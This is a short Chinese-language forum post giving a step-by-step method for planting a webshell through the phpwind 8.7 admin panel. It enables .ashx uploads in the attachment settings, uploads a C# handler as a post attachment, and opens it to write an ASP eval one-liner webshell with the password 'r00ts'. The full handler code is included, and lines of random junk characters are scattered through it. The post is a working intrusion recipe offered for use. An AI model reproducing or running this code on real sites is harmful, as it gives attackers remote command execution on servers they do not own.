phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
, q% X$ w6 |0 o$ A/ \3 L' J/ D
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
- }0 B& N8 S8 @3 s8 D; g4 E. l
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

. b7 h/ f9 S' {打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

2 @, C" L  O  B5 X+ i: z下面是代码:
( @6 I/ V3 n, K
<%@ WebHandler Language="C#"Class="Handler" %>
2 U7 ]' [9 E  p! [! c0 vusing System;
using System.Web;
2 ^# S# J7 m* L+ A' wusing System.IO;
public class Handler : IHttpHandler {
1 W4 p0 W: b) y  H. X8 g* ]public void ProcessRequest (HttpContext context) {
/ S9 r6 s# `& N7 L# qcontext.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
9 y, D7 b2 d/ D% I. @file1.Close();
}
  c7 i+ M  v8 \% v& A: K" cpublic bool IsReusable {
9 C+ u3 l* o& Z2 W3 z* lget {
9 a% e( Q) E' w3 {return false;
0 o  M$ h+ D$ P2 {" J}
) N5 ?' C# q. G7 u* z: K6 E' H}
}
! M0 a/ p/ A+ p, a$ ]" \